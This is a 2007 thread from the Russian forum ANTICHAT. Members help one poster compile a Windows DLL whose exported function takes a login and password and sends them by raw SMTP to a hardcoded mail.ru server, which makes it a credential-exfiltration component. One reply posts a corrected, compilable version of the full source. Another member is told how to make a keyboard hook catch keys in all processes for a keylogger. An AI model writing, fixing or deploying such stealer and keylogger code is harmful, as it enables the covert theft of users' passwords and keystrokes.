HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 13.12.2007, 02:01
SchmeL
Участник форума
Регистрация: 16.06.2007
Сообщений: 104
С нами: 9949406

Репутация: 143
По умолчанию

ну в общем вот borland мне выдает
Цитата:
C:\Borland\BCC55\Bin>bcc32.exe dll.cpp
Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland
dll.cpp:
Error E2209 dll.cpp 3: Unable to open include file 'stdafx.h'
Error E2209 dll.cpp 4: Unable to open include file 'winsock2.h'
Error E2209 dll.cpp 5: Unable to open include file 'stdlib.h'
Error E2209 dll.cpp 6: Unable to open include file 'stdio.h'
Error E2141 dll.cpp 27: Declaration syntax error
*** 5 errors in Compile ***

C:\Borland\BCC55\Bin>
lcc выдает
Цитата:
C:\lcc\bin>lcc.exe dll.cpp
cpp: dll.cpp:3 Could not find include file "stdafx.h"
Error dll.cpp: 35 undeclared identifier 'true'
Error dll.cpp: 107 undeclared identifier 'false'
Warning dll.cpp: 107 possible usage of false before definition
Error dll.cpp: 120 operands of = have illegal types 'unsigned int' and 'pointer
to void'
Warning dll.cpp: 35 possible usage of true before definition
Warning dll.cpp: 137 no type specified. Defaulting to int
Error dll.cpp: 137 empty declaration
Error dll.cpp: 137 Syntax error; missing semicolon before "C"
Error dll.cpp: 137 unrecognized declaration
6 errors, 4 warnings
C:\lcc\bin>
ну вот в принципе, в программировании на этом языке ваще полный 0 (компилил тока на линухах) только в php чуток
 
Ответить с цитированием

  #2  
Старый 13.12.2007, 02:51
zindi
Участник форума
Регистрация: 11.04.2007
Сообщений: 219
С нами: 10044113

Репутация: 13
По умолчанию

если можна исход покажы...
 
Ответить с цитированием

  #3  
Старый 13.12.2007, 03:30
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию

zindi, задача поставлена весьма непонятно... Я её понял как-то так:

Код:
#include <stdio.h>
#include <math.h>

void tabfunc (double x) {
	double f_x = log(x) + acos(x);
	printf("%f\n", f_x);
}

int main (void) {
	tabfunc(0.5);

	return 0;
}
SchmeL, такой исходник в борланде надо компилить создавая проект. А вообще показывай исходник... Непонятно откуда у тебя там 'true' и 'false'...
 
Ответить с цитированием

  #4  
Старый 13.12.2007, 10:58
Rav
Новичок
Регистрация: 11.12.2007
Сообщений: 2
С нами: 9692392

Репутация: 0
По умолчанию

Вопрос у меня keylogger ловит только в своём потоке при том что последний параметр ф-и
SetWindowsHookEx(WH_KEYBOARD,KeyProc, hInstance,0 ) Hook оформил в длл. Не могу разобраться как это сделать?
 
Ответить с цитированием

  #5  
Старый 13.12.2007, 11:46
SchmeL
Участник форума
Регистрация: 16.06.2007
Сообщений: 104
С нами: 9949406

Репутация: 143
По умолчанию

groundhog - вот исходник dllки
Код:
// dll.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>

#define ACC_COUNT 3

char l[20];
char p[20];
char working=100;
char str[20];

typedef struct 
{
	char l[30];
	char p[30];
	char mail[50];
} ACCOUNTS;

ACCOUNTS acci[ACC_COUNT]=
{
	{"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: schmel@mail.ru"}
};

DWORD WINAPI SendEMail(LPVOID lpData)
//void (char * l,char *p)
{
  int accNumber=0;	
  working=0;

while(accNumber<ACC_COUNT)
{
  BOOL AllOK=true;
  BYTE sBuf[4096];
  SOCKET nSMTPServerSocket;
  struct sockaddr_in smtp_address;
  int nConnect;
  int iLength;
  int iMsg = 0;
  int iEnd = 0;

  char *MailMessage[] =
  {
	"HELO mail.ru\r\n",
	"AUTH LOGIN\r\n",
	NULL,
	NULL,
	NULL,
	"RCPT TO: xxxxx-xxxx@mail.ru\r\n",	   
	"DATA\r\n",
	NULL,
	"QUIT\r\n",
	NULL
  };

	WSADATA wsa;
  
	if (WSAStartup(MAKEWORD(2,0),&wsa))
	{
		working=100;
		return 0;
	}


	MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);
	strcpy(MailMessage[2],acci[accNumber].l);
	strcat(MailMessage[2],"\r\n");
	MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);
	strcpy(MailMessage[3],acci[accNumber].p);
	strcat(MailMessage[3],"\r\n");
	MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);
	strcpy(MailMessage[4],acci[accNumber].mail);
	strcat(MailMessage[4],"\r\n");
	
	MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);
	strcpy(MailMessage[7],l);
	strcat(MailMessage[7]," - ");
	strcat(MailMessage[7],p);
	strcat(MailMessage[7],"\r\n\r\n.\r\n");

	nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);

	if(nSMTPServerSocket != INVALID_SOCKET)  
	{
		
		smtp_address.sin_family = AF_INET;
		smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
		smtp_address.sin_port = htons(25);

		nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
															  sizeof(smtp_address));

		if(nConnect)  
		{

		}
		else  
		{
		  do  
		  {
			iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
			if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')
			{
				accNumber++;
				AllOK=false;
				break;
			}
			iEnd += iLength;
			sBuf[iEnd] = '\0';
			//MessageBox(0,MailMessage[iMsg],0,MB_OK);
			send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
			iMsg++;
		  } 
		  while(MailMessage[iMsg]);
		}

	  closesocket(nSMTPServerSocket);
	  nSMTPServerSocket=NULL;
	}
  if(AllOK) break;
}
  working=100;
  return 0;
}

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100;
	return TRUE;
}

extern "C" void CALLBACK proc1(char *str,char *str2)
{
	
	strcpy(l,str);
	strcpy(p,str2);
	if(working!=0)	
	{
		CreateThread(NULL,0,SendEMail,NULL,0,NULL); 
	}
}
 
Ответить с цитированием

  #6  
Старый 13.12.2007, 12:31
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию

SchmeL, попробуй вместо

Цитата:
#include "stdafx.h"
напиши

Цитата:
#include <windows.h>
 
Ответить с цитированием

  #7  
Старый 13.12.2007, 12:41
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию

Rav, если ты всё правильно сделал, то вызов

Цитата:
SetWindowsHookEx(WH_KEYBOARD, KeyProc, NULL, NULL);
должен хучить сообщения клавиатуры для всех процессов. Обрати внимание что предпоследний параметр NULL. Попробуй, может в этом косяк. Какой результат возвращает функция? Не NULL?
 
Ответить с цитированием

  #8  
Старый 13.12.2007, 13:18
SchmeL
Участник форума
Регистрация: 16.06.2007
Сообщений: 104
С нами: 9949406

Репутация: 143
По умолчанию

groundhog, невышло попробую всетаки скачать этого монстра Microsoft Visual C++ 2005 Express Edition. на нем попробовать...
 
Ответить с цитированием

  #9  
Старый 13.12.2007, 16:11
criz
Постоянный
Регистрация: 04.11.2007
Сообщений: 303
С нами: 9746420

Репутация: 119
По умолчанию

Цитата:
groundhog, невышло
А ты как вставлял windows.h, вернее куда? Его после winsock2.h надо прописывать
Надо еще добавить
Код:
#pragma comment(lib, "ws2_32")
Компилил в VC++ 6.0.
 
Ответить с цитированием

  #10  
Старый 14.12.2007, 01:08
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию

SchmeL, в общем я попробовал, VS6 отлично компилит этот исходник с учётом исправлений, о которых тебе сказали:

Код:
// dll.cpp : Defines the entry point for the DLL application.
//

#pragma comment(lib, "ws2_32")

//#include "stdafx.h"
#include <windows.h>
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>

#define ACC_COUNT 3

char l[20];
char p[20];
char working=100;
char str[20];

typedef struct 
{
	char l[30];
	char p[30];
	char mail[50];
} ACCOUNTS;

ACCOUNTS acci[ACC_COUNT]=
{
	{"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: schmel@mail.ru"}
};

DWORD WINAPI SendEMail(LPVOID lpData)
//void (char * l,char *p)
{
  int accNumber=0;	
  working=0;

while(accNumber<ACC_COUNT)
{
  BOOL AllOK=true;
  BYTE sBuf[4096];
  SOCKET nSMTPServerSocket;
  struct sockaddr_in smtp_address;
  int nConnect;
  int iLength;
  int iMsg = 0;
  int iEnd = 0;

  char *MailMessage[] =
  {
	"HELO mail.ru\r\n",
	"AUTH LOGIN\r\n",
	NULL,
	NULL,
	NULL,
	"RCPT TO: xxxxx-xxxx@mail.ru\r\n",	   
	"DATA\r\n",
	NULL,
	"QUIT\r\n",
	NULL
  };

	WSADATA wsa;
  
	if (WSAStartup(MAKEWORD(2,0),&wsa))
	{
		working=100;
		return 0;
	}


	MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);
	strcpy(MailMessage[2],acci[accNumber].l);
	strcat(MailMessage[2],"\r\n");
	MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);
	strcpy(MailMessage[3],acci[accNumber].p);
	strcat(MailMessage[3],"\r\n");
	MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);
	strcpy(MailMessage[4],acci[accNumber].mail);
	strcat(MailMessage[4],"\r\n");
	
	MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);
	strcpy(MailMessage[7],l);
	strcat(MailMessage[7]," - ");
	strcat(MailMessage[7],p);
	strcat(MailMessage[7],"\r\n\r\n.\r\n");

	nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);

	if(nSMTPServerSocket != INVALID_SOCKET)  
	{
		
		smtp_address.sin_family = AF_INET;
		smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
		smtp_address.sin_port = htons(25);

		nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
															  sizeof(smtp_address));

		if(nConnect)  
		{

		}
		else  
		{
		  do  
		  {
			iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
			if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')
			{
				accNumber++;
				AllOK=false;
				break;
			}
			iEnd += iLength;
			sBuf[iEnd] = '\0';
			//MessageBox(0,MailMessage[iMsg],0,MB_OK);
			send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
			iMsg++;
		  } 
		  while(MailMessage[iMsg]);
		}

	  closesocket(nSMTPServerSocket);
	  nSMTPServerSocket=NULL;
	}
  if(AllOK) break;
}
  working=100;
  return 0;
}

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100;
	return TRUE;
}

extern "C" void CALLBACK proc1(char *str,char *str2)
{
	
	strcpy(l,str);
	strcpy(p,str2);
	if(working!=0)	
	{
		CreateThread(NULL,0,SendEMail,NULL,0,NULL); 
	}
}
Я надеюсь, ты компиляешь его как Win32 Dynamic Link Library?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Часто задаваемые вопросы по MySQL Серый PHP 5 28.12.2006 18:26
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.